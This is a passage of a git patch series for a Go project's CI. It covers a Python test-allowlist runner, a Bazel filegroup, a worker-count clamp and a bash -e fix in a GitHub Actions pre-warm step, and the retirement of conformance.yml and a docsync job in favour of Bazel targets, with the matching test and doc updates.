results[t] != "pass": - problems.append(f"{e['pkg']} {t} (allowlist line {e['line']}): {results[t]}, want pass") - for t, action in sorted(results.items()): - if action == "fail": - problems.append(f"{group[0]['pkg']} {t}: fail") - return problems - - -def main(argv=None): - ap = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter) - ap.add_argument("--allowlist", default=DEFAULT_ALLOWLIST) - ap.add_argument("--go", default="go") - ap.add_argument("--dry-run", action="store_true", help="print the go test commands only") - ap.add_argument( - "--compile-only", - action="store_true", - help=( - "compile each allowlisted package's test binary (go test -c -o " - "/dev/null) instead of running it; used by main.yml's " - "blacksmith-go-build-cache seed to warm the non-race GOCACHE for " - "exactly the packages this script's real run needs, with zero " - "risk of the package list drifting from the allowlist (F7b)." - ), - ) - args = ap.parse_args(argv) - - if not os.path.exists(args.allowlist): - print(f"{args.allowlist}: no such allowlist", file=sys.stderr) - return 1 - entries, errors = load_allowlist(args.allowlist) - if errors: - print("\n".join(errors), file=sys.stderr) - return 1 - try: - pkgs = plan(entries) - except ValueError as err: - print(err, file=sys.stderr) - return 1 - - if args.compile_only: - problems = [] - for pkg in pkgs: - cmd = [args.go, "test", "-c", *BUILD_FLAGS, "-o", os.devnull, "./" + pkg] - print("+ " + " ".join(cmd), flush=True) - if args.dry_run: - continue - proc = subprocess.run(cmd) - if proc.returncode != 0: - problems.append(f"{pkg}: go test -c exited {proc.returncode}") - if args.dry_run: - return 0 - if problems: - print("\nFAIL: compiling allowlisted packages' test binaries:", file=sys.stderr) - print("\n".join(" " + p for p in problems), file=sys.stderr) - return 1 - print(f"\nok: compiled {len(pkgs)} allowlisted package test binaries") - return 0 - - problems, ran = [], 0 - for pkg, group in pkgs.items(): - cmd = [args.go, "test", "-json", *GO_TEST_FLAGS] - sel = run_regex(group) - if sel is not None: - cmd += ["-run", sel] - cmd.append("./" + pkg) - print("+ " + " ".join(cmd), flush=True) - if args.dry_run: - continue - proc = subprocess.run(cmd, capture_output=True, text=True) - for line in proc.stdout.splitlines(): - try: - out = json.loads(line).get("Output") - except ValueError: - out = line + "\n" - if out: - sys.stdout.write(out) - sys.stdout.write(proc.stderr) - results = top_level_results(proc.stdout) - ran += len(results) - problems += check(group, results) - if proc.returncode != 0: - problems.append(f"{pkg}: go test exited {proc.returncode}") - if args.dry_run: - return 0 - if problems: - print("\nFAIL: the Go tests the Bazel PR-core lane does not run did not all pass here:", file=sys.stderr) - print("\n".join(" " + p for p in problems), file=sys.stderr) - return 1 - print(f"\nok: {len(entries)} allowlist entries, {ran} top-level tests passed under go test") - return 0 - - -if __name__ == "__main__": - sys.exit(main()) diff --git a/tools/docsmint/BUILD.bazel b/tools/docsmint/BUILD.bazel index 23dd7578d..da07e7a9b 100644 --- a/tools/docsmint/BUILD.bazel +++ b/tools/docsmint/BUILD.bazel @@ -25,3 +25,25 @@ go_test( ], embed = [":docsmint_lib"], ) + +# --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- + +filegroup( + name = "repo_files", + srcs = glob( + ["**"], + exclude = [ + "**/*.db", + "**/*.exe", + "**/*.out", + "**/*.prof", + "**/*.pyc", + "**/*.test", + "**/__pycache__/**", + "**/node_modules/**", + ], + ), + visibility = ["//:__pkg__"], +) + +# --- end repo_files --- From 82872a81a5c50e605cd51404e6045b020da690d3 Mon Sep 17 00:00:00 2001 From: Bee Date: Tue, 6 Oct 2026 22:35:02 +0000 Subject: [PATCH 010/213] fix(ci): rbe pre-warm survives a failed gh run list under bash -e, and clamps an over-long worker count (#7162) (#7163) Actions runs the dispatch step as bash -e, so a failing gh run list ended the step at the assignment and the could-not-read warning never printed. The assignment now tolerates the failure. A RBE_PREWARM_WORKERS too long for the shell's integer compare slipped past the max-4 clamp and the loop dispatched without bound; two or more digits is now decided in the case (all zeros stays the kill switch). The behaviour test runs the script with bash -e, as Actions does, under a 30s deadline, and pins the clamp. Co-authored-by: Claude Fable 5.1 --- .github/workflows/bazel.yml | 12 +++++++++++- scripts/bazel_rbe_prewarm_test.go | 27 ++++++++++++++++++++++++++- 2 files changed, 37 insertions(+), 2 deletions(-) diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index b63c09304..a01f57943 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -621,6 +621,16 @@ jobs: case "$n" in '') n=1 ;; *[!0-9]*) n=1 ;; + # Two or more digits is over the cap unless they are all zeros + # (still the kill switch); deciding it here keeps a string too + # long for the shell's integer compare from slipping past the + # -gt below unclamped. + ??*) + case "$n" in + *[!0]*) n=4 ;; + *) n=0 ;; + esac + ;; esac if [ "$n" -gt 4 ]; then n=4 @@ -637,7 +647,7 @@ jobs: fi active="$(gh run list -R "$POOL_REPO" --workflow "$POOL_WORKFLOW" --limit 50 \ - --json status --jq '[.[] | select(.status != "completed")] | length' 2>/dev/null)" + --json status --jq '[.[] | select(.status != "completed")] | length' 2>/dev/null)" || true case "$active" in '' | *[!0-9]*) echo "::warning title=rbe-west pre-warm::could not read $POOL_REPO/$POOL_WORKFLOW run status; skipping dispatch" diff --git a/scripts/bazel_rbe_prewarm_test.go b/scripts/bazel_rbe_prewarm_test.go index 96a278d7d..c9c547483 100644 --- a/scripts/bazel_rbe_prewarm_test.go +++ b/scripts/bazel_rbe_prewarm_test.go @@ -1,12 +1,14 @@ package scripts_test import ( + "context" "os" "os/exec" "path/filepath" "regexp" "strings" "testing" + "time" ) // This file exists alongside ci_workflow_test.go's broader structural checks @@ -494,7 +496,14 @@ exit 127 if err := os.WriteFile(callLog, nil, 0o600); err != nil { t.Fatal(err) } - cmd := exec.Command("bash", scriptPath) + // Actions runs a run: step with no shell: as "bash -e {0}", so the + // script is run the same way here: a command that fails outside an + // if/||/&& ends the step before any warning below it can print. + // The deadline bounds a regression in the dispatch loop's clamp, + // which would otherwise dispatch (and log) without end. + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + cmd := exec.CommandContext(ctx, "bash", "-e", scriptPath) // fakeGHDir first so it shadows any real gh on PATH; the rest of the // inherited PATH stays so the fake gh's own "#!/usr/bin/env bash" // shebang can still find env and bash. @@ -577,6 +586,22 @@ exit 127 } }) + t.Run("an over-long RBE_PREWARM_WORKERS is clamped to 4", func(t *testing.T) { + // 20 digits overflows the shell's integer compare; the clamp must + // not depend on it. + r := run(t, map[string]string{ + "GH_TOKEN": "tok", + "RBE_PREWARM_WORKERS": "99999999999999999999", + "FAKE_GH_RUN_LIST_OUTPUT": "1", + }) + if r.code != 0 { + t.Errorf("exit code = %d, want 0\nstdout: %s", r.code, r.stdout) + } + if got := strings.Count(r.calls, "workflow run"); got != 3 { + t.Errorf("gh workflow run calls = %d, want 3 (cap 4, 1 active)\nstdout: %s", got, r.stdout) + } + }) + t.Run("gh workflow run failure warns but still exits 0", func(t *testing.T) { r := run(t, map[string]string{ "GH_TOKEN": "tok", From 8761d2c40ed4e4ade8ab6a0513bbb008bf9304b7 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Tue, 6 Oct 2026 22:42:25 +0000 Subject: [PATCH 011/213] ci(bazel): run the conformance e2e tier under Bazel; retire conformance.yml and the docs-mintlify docsync job (#7321) conformance.yml ran two tiers on a GitHub runner. Tier 1 (the embedded-Dolt TestConformance) already runs as the embedded lane's embeddeddolt_conformance_{core,audit}_test. Tier 2, the real-binary CLI corpus (`go test -tags 'gms_pure_go e2e' ./test/conformance`), had only a go_library under Bazel. Its two test files now build under `e2e || integration`, so gazelle generates //test/conformance:conformance_test (integration-only, against the injected non-race bd_for_tests) and --config=integration runs it remotely in bazel-integration, which pr.yml's gate requires. PR Core's go test builds neither tag, so the --config=ci equivalence check is unchanged; scripts/conformance.sh keeps working with -tags e2e as the local go test entrypoint. With both tiers covered, conformance.yml and main.yml's warm-up compiles for it are removed. docs-mintlify.yml drops its docsync job (`go test ./test/docsync`, run by bazel-test as //test/docsync:docsync_test on every PR) and keeps only Mintlify's broken-link check, which needs the network (npx mint) and the base branch's history; its path filter narrows to what that check reads. Refs: ga-96smfk.17 Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/conformance.yml | 108 -------------------------- .github/workflows/docs-mintlify.yml | 64 ++------------- .github/workflows/main.yml | 12 +-- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 17 +++- scripts/ci_f7c_advisory_test.go | 45 +---------- scripts/ci_workflow_test.go | 17 ++-- scripts/conformance.sh | 7 +- scripts/conformance_script_test.go | 43 +++++++--- test/conformance/BUILD.bazel | 24 +++++- test/conformance/e2e_test.go | 5 +- test/conformance/profiles.go | 3 +- test/conformance/roundtrip_test.go | 5 +- 12 files changed, 104 insertions(+), 246 deletions(-) delete mode 100644 .github/workflows/conformance.yml diff --git a/.github/workflows/conformance.yml b/.github/workflows/conformance.yml deleted file mode 100644 index e78244381..000000000 --- a/.github/workflows/conformance.yml +++ /dev/null @@ -1,108 +0,0 @@ -name: Conformance - -# Runs the same two-tier storage conformance suite developers run locally: -# the in-process store corpus and the real-binary CLI harness. - -on: - pull_request: - branches: [ main, 'release/**', 'hotfix/**' ] - # "Upgrade-relevant code" allowlist (spec-f7.md §2.4): any non-test Go - # change, build input, or this workflow's own inputs. Kept byte-for-byte - # identical (modulo each workflow's own file/script entries) across - # conformance.yml, migration-test.yml and cross-version-smoke.yml, and - # pinned by TestAdvisoryWorkflowPathFilters. - paths: - - '**.go' - - '!**_test.go' - - 'go.mod' - - 'go.sum' - - 'Makefile' - - '.buildflags' - - '.github/workflows/conformance.yml' - - 'scripts/conformance.sh' - - 'test/conformance/**' - - 'internal/storage/embeddeddolt/conformance_test.go' - # F7c review fix S4: TestMain (the fixture that builds the - # pristine embedded-Dolt databases conformance_test.go and every - # other test in this package reuse) lives here, not in - # conformance_test.go itself; a PR editing only the fixture was - # previously excluded by '!**_test.go' with nothing to re-include it. - - 'internal/storage/embeddeddolt/test_fixture_test.go' - - 'backend/conformance/**' - push: - branches: [ main ] - paths: - - '**.go' - - '!**_test.go' - - 'go.mod' - - 'go.sum' - - 'Makefile' - - '.buildflags' - - '.github/workflows/conformance.yml' - - 'scripts/conformance.sh' - - 'test/conformance/**' - - 'internal/storage/embeddeddolt/conformance_test.go' - # F7c review fix S4: TestMain (the fixture that builds the - # pristine embedded-Dolt databases conformance_test.go and every - # other test in this package reuse) lives here, not in - # conformance_test.go itself; a PR editing only the fixture was - # previously excluded by '!**_test.go' with nothing to re-include it. - - 'internal/storage/embeddeddolt/test_fixture_test.go' - - 'backend/conformance/**' - merge_group: - -concurrency: - group: ${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.ref }} - cancel-in-progress: true - -env: - BD_DISABLE_METRICS: "1" - BD_DISABLE_EVENT_FLUSH: "1" - -jobs: - conformance: - name: Storage backend conformance (embedded Dolt oracle) - timeout-minutes: 45 - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-latest' }} - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - # F7c review fix N1: fail-closed. setup-go's own implicit cache - # must stay off on Blacksmith (it would try to use a GitHub-hosted - # cache entry Blacksmith can't see, and only the self-keyed - # blacksmith-sg-v1- restore below should feed this job there); the - # prior `!= 'self-hosted'` form fails OPEN (caching turns on) if - # runner.environment is ever empty/unknown for some future runner - # class, instead of staying off until proven github-hosted. - cache: ${{ runner.environment == 'github-hosted' }} - - # F7c review fix S5: this job's own key copy must match main.yml's - # seeder key byte-for-byte (TestBlacksmithSetupGoCacheKeysMatchAcrossSeederAndConsumers), - # which now keys by UTC calendar day instead of github.sha so main - # pushes don't churn a multi-GB cache entry on every commit; this step - # computes that same day value locally so the key expression below - # resolves (steps.* references only resolve within the same job). - - name: Compute cache date - id: cache-date - if: runner.environment == 'self-hosted' - run: echo "today=$(date -u +%Y%m%d)" >> "$GITHUB_OUTPUT" - - - name: Restore Blacksmith setup-go cache - if: runner.environment == 'self-hosted' - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: | - ~/go/pkg/mod - ~/.cache/go-build - key: blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} - restore-keys: | - blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.sum') }}- - blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Run conformance (embedded Dolt oracle) - run: ./scripts/conformance.sh diff --git a/.github/workflows/docs-mintlify.yml b/.github/workflows/docs-mintlify.yml index 6c4d7d953..171174ee0 100644 --- a/.github/workflows/docs-mintlify.yml +++ b/.github/workflows/docs-mintlify.yml @@ -3,26 +3,15 @@ name: Docs (Mintlify) checks on: pull_request: types: [opened, synchronize, reopened, ready_for_review] + # The Mintlify site and the check itself. The docsync guard (docs nav, + # links and agent-instruction routing over docs/, engdocs/ and the root + # markdown) is //test/docsync:docsync_test, which bazel.yml's --config=ci + # lane runs on every PR; this workflow keeps only Mintlify's own + # broken-link check, which needs the network (npx mint) and the base + # branch's history. paths: - # The docsync guard also validates engdocs/** and the curated root - # markdown files (rootDocFiles in test/docsync/docsync_test.go) — keep - # this filter in sync with that list, or a docs-breaking PR merges - # green and turns main red at the full test run. - 'docs/**' - - 'engdocs/**' - - 'test/docsync/**' - 'mint.sh' - - 'README.md' - - 'AGENTS.md' - - 'AGENT_INSTRUCTIONS.md' - - 'CONTRIBUTING.md' - - 'CLAUDE.md' - - 'RELEASING.md' - - 'PR_MAINTAINER_GUIDELINES.md' - - 'ROADMAP.md' - - '**/AGENTS.md' - - '**/CLAUDE.md' - - '.github/copilot-instructions.md' - '.github/scripts/docs-render-check.sh' - '.github/workflows/docs-mintlify.yml' @@ -34,47 +23,6 @@ concurrency: cancel-in-progress: true jobs: - docsync: - name: Docs nav/link sync (docsync guard) - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} - timeout-minutes: 10 - if: github.event.pull_request.draft == false - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - id: setup-go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: ${{ runner.environment == 'github-hosted' }} - - # F7c review fix S5: this job's own key copy must match main.yml's - # seeder key byte-for-byte (TestBlacksmithSetupGoCacheKeysMatchAcrossSeederAndConsumers), - # which now keys by UTC calendar day instead of github.sha so main - # pushes don't churn a multi-GB cache entry on every commit; this step - # computes that same day value locally so the key expression below - # resolves (steps.* references only resolve within the same job). - - name: Compute cache date - id: cache-date - if: runner.environment == 'self-hosted' - run: echo "today=$(date -u +%Y%m%d)" >> "$GITHUB_OUTPUT" - - - name: Restore Blacksmith setup-go cache - if: runner.environment == 'self-hosted' - uses: actions/cache/restore@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0 - with: - path: | - ~/go/pkg/mod - ~/.cache/go-build - key: blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.sum') }}-${{ steps.cache-date.outputs.today }} - restore-keys: | - blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-${{ hashFiles('go.sum') }}- - blacksmith-sg-v1-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}- - - - name: Run docsync guard - run: go test -tags=gms_pure_go ./test/docsync - broken-links: name: Mintlify broken-links (baseline-aware) runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} diff --git a/.github/workflows/main.yml b/.github/workflows/main.yml index b9ff6ec52..c0b5cff73 100644 --- a/.github/workflows/main.yml +++ b/.github/workflows/main.yml @@ -1081,9 +1081,9 @@ jobs: echo "Help text first line is correct" # F7c: Blacksmith cannot see GitHub-hosted cache entries, so the advisory - # workflows that moved onto a same-repo-PR Blacksmith runner (Conformance, - # Regression's PR run, Migration Test Harness, Cross-Version Smoke, Docs - # docsync, Proxied Local) need a Blacksmith-side writer for their Go build + # workflows that moved onto a same-repo-PR Blacksmith runner (Regression's + # PR run, Migration Test Harness, Cross-Version Smoke, Proxied Local) need a + # Blacksmith-side writer for their Go build # cache. This job is push-to-main only (always trusted), so it is the ONLY # writer: it always restores whatever is available, unconditionally re-runs # every warm-up command (not gated on a cache hit), and then always saves @@ -1166,12 +1166,6 @@ jobs: - name: Compile regression tests run: go test -c -tags regression,gms_pure_go ./tests/regression - - name: Compile embedded Dolt conformance tests - run: go test -c -tags gms_pure_go ./internal/storage/embeddeddolt - - - name: Compile e2e conformance tests - run: go test -c -tags 'gms_pure_go e2e' ./test/conformance - # Always save (even if a warm-up step above failed) under a fresh, # commit-specific key: the content is still a valid, newer GOCACHE/ # GOMODCACHE snapshot than whatever was restored, and `cache/save` is a diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index 72b3c0d01..c31517132 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -1152,10 +1152,19 @@ manifests. On those PRs they are the tiers' only pre-merge run, and - Verified on a real remote run before step 2 (2026-10-01): proxied 164 top-level tests over 15 shards, 0 skipped; server storage 1246 + 1 conformance, 10 skipped (none all-skipped); both checkers pass. -- Not changed: `conformance.yml`'s Tier 1 (`scripts/conformance.sh`) runs the - embedded-Dolt `TestConformance` again (non-race, unsharded), duplicating - `test-embedded-conformance` and the Bazel lane. It is not part of either - required gate; retiring it is a separate decision. +- `conformance.yml` is retired. Its Tier 1 (the embedded-Dolt + `TestConformance`) duplicated `test-embedded-conformance` and the + embedded lane's `embeddeddolt_conformance_{core,audit}_test`; its Tier 2 + (the real-binary CLI corpus, `go test -tags 'gms_pure_go e2e' + ./test/conformance`) is `//test/conformance:conformance_test` against the + injected non-race `bd_for_tests`. Its files build under `e2e || + integration`, so it is `integration-only` and `--config=integration` runs + it in `bazel-integration`, which `pr.yml`'s gate requires (PR Core's `go + test` builds neither tag). Neither tier was part of a required gate + before. `scripts/conformance.sh` stays as the local `go test` entrypoint. + `docs-mintlify.yml` likewise drops its docsync job (`go test + ./test/docsync`, which `bazel-test` runs as `//test/docsync:docsync_test`) + and keeps only Mintlify's network-bound broken-link check. ### F7a: Same-Repo Blacksmith Moves and Job Folds diff --git a/scripts/ci_f7c_advisory_test.go b/scripts/ci_f7c_advisory_test.go index 8f6c8cc95..52286f66d 100644 --- a/scripts/ci_f7c_advisory_test.go +++ b/scripts/ci_f7c_advisory_test.go @@ -27,11 +27,12 @@ import ( // because it now names a Blacksmith label, and the Blacksmith-side setup-go // seed in main.yml actually exists for the jobs that depend on it. -// advisoryPathFilteredWorkflows are the three workflows that share the +// advisoryPathFilteredWorkflows are the workflows that share the // "upgrade-relevant code" allowlist verbatim, save for each one's own -// workflow-file and script entries (spec-f7.md §2.4). +// workflow-file and script entries (spec-f7.md §2.4). conformance.yml was +// the third until its tiers moved to Bazel (embeddeddolt_conformance_*, +// //test/conformance:conformance_test). var advisoryPathFilteredWorkflows = []string{ - "conformance.yml", "migration-test.yml", "cross-version-smoke.yml", } @@ -51,24 +52,6 @@ var advisoryPathFilterBase = []string{ // advisoryPathFilterOwnEntries is each workflow's own file/script additions, // appended after advisoryPathFilterBase. var advisoryPathFilterOwnEntries = map[string][]string{ - "conformance.yml": { - ".github/workflows/conformance.yml", - "scripts/conformance.sh", - "test/conformance/**", - // F7c review fix (S3): conformance.sh's own comments name this file - // as the Tier-1 embedded-Dolt oracle test it runs under - // BEADS_TEST_EMBEDDED_DOLT=1; it was previously excluded from the - // filter by the shared base's `!**_test.go` negation. - "internal/storage/embeddeddolt/conformance_test.go", - // F7c review fix (S4): TestMain for the whole embeddeddolt package - // (the fixture conformance_test.go and every sibling test reuse) - // lives in test_fixture_test.go, not conformance_test.go; it was - // excluded by the same `!**_test.go` negation with nothing to - // re-include it until now. - "internal/storage/embeddeddolt/test_fixture_test.go", - // Future-proofing: mirrors the existing test/conformance/** re-include. - "backend/conformance/**", - }, "migration-test.yml": { ".github/workflows/migration-test.yml", "scripts/migration-test/**", @@ -119,19 +102,6 @@ func readPushPaths(t *testing.T, file string) []string { return parsed.On.Push.Paths } -// TestConformancePushPathsMatchPullRequestPaths pins that conformance.yml's -// push.paths and pull_request.paths stay byte-for-byte identical, in order -// (F7c review fix S1/S3): a change that updates one list but not the other -// would silently create a gap where main's push run and a PR's run disagree -// about what counts as "upgrade-relevant code". -func TestConformancePushPathsMatchPullRequestPaths(t *testing.T) { - pr := readPullRequestPaths(t, "conformance.yml") - push := readPushPaths(t, "conformance.yml") - if !equalStrings(pr, push) { - t.Errorf("conformance.yml pull_request.paths = %v, push.paths = %v; want identical", pr, push) - } -} - // TestAdvisoryWorkflowPathFiltersAreIdentical pins that the shared base of // the "upgrade-relevant code" allowlist is byte-for-byte identical, in the // same order, across all three workflows it applies to. GitHub Actions has no @@ -719,7 +689,6 @@ func TestCrossVersionSmokeChunksEveryResolvedVersion(t *testing.T) { // blacksmithAdvisoryWorkflows are every workflow file F7c moved a job onto a // same-repo-PR (or push-only, for main.yml's seed) Blacksmith runner. var blacksmithAdvisoryWorkflows = []string{ - "conformance.yml", "regression.yml", "migration-test.yml", "cross-version-smoke.yml", @@ -777,12 +746,10 @@ var advisoryBlacksmithRunnerJobs = []struct { blacksmithLabel string fallback string }{ - {"conformance.yml", "conformance", "blacksmith-4vcpu-ubuntu-2404", "ubuntu-latest"}, {"regression.yml", "regression", "blacksmith-4vcpu-ubuntu-2404", "ubuntu-latest"}, {"migration-test.yml", "historical-upgrades", "blacksmith-4vcpu-ubuntu-2404", "ubuntu-24.04"}, {"cross-version-smoke.yml", "smoke", "blacksmith-4vcpu-ubuntu-2404", "ubuntu-latest"}, {"cross-version-smoke.yml", "versions", "blacksmith-2vcpu-ubuntu-2404", "ubuntu-latest"}, - {"docs-mintlify.yml", "docsync", "blacksmith-2vcpu-ubuntu-2404", "ubuntu-latest"}, {"docs-mintlify.yml", "broken-links", "blacksmith-2vcpu-ubuntu-2404", "ubuntu-latest"}, {"proxied-local-smoke.yml", "managed-local-smoke", "blacksmith-4vcpu-ubuntu-2404", "ubuntu-latest"}, } @@ -850,11 +817,9 @@ func TestF7cAdvisorySameRepoBlacksmithExpressionSemantics(t *testing.T) { // self-defined `blacksmith-sg-v1-` setup-go cache main.yml's // blacksmith-setup-go-cache job seeds (B2, F7c implementation report). var blacksmithSetupGoCacheConsumers = map[string][]string{ - "conformance.yml": {"conformance"}, "regression.yml": {"regression"}, "migration-test.yml": {"historical-upgrades"}, "cross-version-smoke.yml": {"smoke"}, - "docs-mintlify.yml": {"docsync"}, "proxied-local-smoke.yml": {"managed-local-smoke"}, } @@ -920,8 +885,6 @@ func TestBlacksmithSetupGoSeedExistsForAdvisoryConsumers(t *testing.T) { wantWarmups := []string{ "make build", "go test -c -tags regression,gms_pure_go ./tests/regression", - "go test -c -tags gms_pure_go ./internal/storage/embeddeddolt", - "go test -c -tags 'gms_pure_go e2e' ./test/conformance", } for _, want := range wantWarmups { found := false diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index a812b12db..3e6fd4bd9 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -110,7 +110,7 @@ func TestPullRequestWorkflowsTriggerOnHotfixBranches(t *testing.T) { } root := sourceRepoRoot(t) for _, name := range []string{ - "pr.yml", prRiskWorkflowName, "conformance.yml", "cross-version-smoke.yml", "regression.yml", + "pr.yml", prRiskWorkflowName, "cross-version-smoke.yml", "regression.yml", } { t.Run(name, func(t *testing.T) { var doc triggers @@ -2715,7 +2715,7 @@ const mainWindowsTestBinariesCacheRunsOn = "${{ matrix.runner == 'blacksmith' && // F7c: used to define its own sameRepoBlacksmith4vcpu here (same expression // as sameRepoBlacksmith2vcpu with the 4 vCPU label, for advisory jobs that -// compile Go: conformance.yml, regression.yml, migration-test.yml, +// compile Go: regression.yml, migration-test.yml, // cross-version-smoke.yml, proxied-local-smoke.yml). F7a independently // defined the same const; both are now served by the single shared // sameRepoBlacksmith4vcpu in ci_blacksmith_runner_test.go. migration-test.yml's @@ -3055,15 +3055,14 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { "test-nix": sameRepoBlacksmith4vcpu, }, bazelWorkflowName: {bazelRBEJobName: wantRBERunsOn}, - // F7c: advisory workflows. Each compiles Go (or, for docsync/ - // broken-links, is cheap enough to size at 2 vCPU per spec-f7.md - // §2.2) and moves to Blacksmith for same-repo PRs/merge_group only; - // forks, Dependabot and push stay on ubuntu-latest. - "conformance.yml": {"conformance": sameRepoBlacksmith4vcpu}, + // F7c: advisory workflows. Each compiles Go (or, for broken-links, + // is cheap enough to size at 2 vCPU per spec-f7.md §2.2) and moves + // to Blacksmith for same-repo PRs/merge_group only; forks, + // Dependabot and push stay on ubuntu-latest. "regression.yml": {"regression": sameRepoBlacksmith4vcpu}, "migration-test.yml": {"historical-upgrades": sameRepoBlacksmith4vcpuNoble}, "cross-version-smoke.yml": {"smoke": sameRepoBlacksmith4vcpu, "versions": sameRepoBlacksmith2vcpu}, - "docs-mintlify.yml": {"docsync": sameRepoBlacksmith2vcpu, "broken-links": sameRepoBlacksmith2vcpu}, + "docs-mintlify.yml": {"broken-links": sameRepoBlacksmith2vcpu}, "proxied-local-smoke.yml": {"managed-local-smoke": sameRepoBlacksmith4vcpu}, // main.yml's seeder job (B2, F7c implementation report) is the one // Blacksmith job that is NOT gated by the same-repo-PR expression: it @@ -3128,7 +3127,7 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { // Blacksmith label beyond the jobs listed in `want` above. for _, file := range []string{ "pr.yml", "pr-risk.yml", "main.yml", - "conformance.yml", "regression.yml", "migration-test.yml", + "regression.yml", "migration-test.yml", "cross-version-smoke.yml", "docs-mintlify.yml", "proxied-local-smoke.yml", } { workflow := readCIWorkflow(t, file) diff --git a/scripts/conformance.sh b/scripts/conformance.sh index d3e937b04..cbe5b8470 100755 --- a/scripts/conformance.sh +++ b/scripts/conformance.sh @@ -1,11 +1,16 @@ #!/usr/bin/env bash # -# Single conformance entrypoint. CI runs this verbatim; run it locally the same way: +# Local conformance entrypoint, under plain go test: # # ./scripts/conformance.sh # # Two tiers exercise the storage conformance contract: the in-process storage # corpus against the embedded-Dolt oracle, then the real-binary CLI corpus. +# CI runs the same two tiers as Bazel targets, remotely: +# +# bazel test --config=embedded //internal/storage/embeddeddolt:embeddeddolt_conformance_core_test \ +# //internal/storage/embeddeddolt:embeddeddolt_conformance_audit_test +# bazel test --config=integration //test/conformance:conformance_test # set -euo pipefail cd "$(dirname "$0")/.." diff --git a/scripts/conformance_script_test.go b/scripts/conformance_script_test.go index 78a567a64..19dbf6ea7 100644 --- a/scripts/conformance_script_test.go +++ b/scripts/conformance_script_test.go @@ -62,19 +62,38 @@ func conformanceExitCode(err error) int { return -1 } -func TestConformanceWorkflowHasOuterTimeoutBudget(t *testing.T) { - path := filepath.Join(sourceRepoRoot(t), ".github", "workflows", "conformance.yml") - data, err := os.ReadFile(path) - if err != nil { - t.Fatal(err) +// The conformance tiers CI runs are Bazel targets, not this script: Tier 1 +// is the embedded lane's embeddeddolt_conformance_{core,audit}_test +// (TestBazelEmbeddedJobMirrorsEmbeddedTier pins their flags), Tier 2 the +// integration lane's //test/conformance:conformance_test, pinned here to the +// script's tier: both harness files, built under the e2e or integration tag, +// against the injected non-race bd. conformance.yml, which ran the script on +// a GitHub runner, is gone. +func TestConformanceE2ETierRunsUnderBazel(t *testing.T) { + root := sourceRepoRoot(t) + rule := bazelRuleBlock(readPolicyFile(t, root, "test/conformance/BUILD.bazel"), "conformance_test") + if rule == "" { + t.Fatal("test/conformance/BUILD.bazel has no conformance_test") } - text := strings.ReplaceAll(string(data), "\r\n", "\n") - want := " conformance:\n" + - " name: Storage backend conformance (embedded Dolt oracle)\n" + - " timeout-minutes: 45\n" + - " runs-on: " + sameRepoBlacksmith4vcpu + "\n" - if !strings.Contains(text, want) { - t.Fatalf("conformance job does not declare the maintained 45-minute outer budget:\n%s", text) + for _, want := range []string{ + `"e2e_test.go",`, + `"roundtrip_test.go",`, + `data = ["//cmd/bd:bd_for_tests"],`, + `env = {"BEADS_TEST_BD_BINARY": "$(rlocationpath //cmd/bd:bd_for_tests)"},`, + `tags = ["integration-only"],`, + } { + if !strings.Contains(rule, want) { + t.Errorf("//test/conformance:conformance_test lacks %q:\n%s", want, rule) + } + } + for _, file := range []string{"e2e_test.go", "roundtrip_test.go"} { + src := readPolicyFile(t, root, "test/conformance/"+file) + if !strings.HasPrefix(src, "//go:build e2e || integration\n") { + t.Errorf("test/conformance/%s must build under e2e (scripts/conformance.sh) and integration 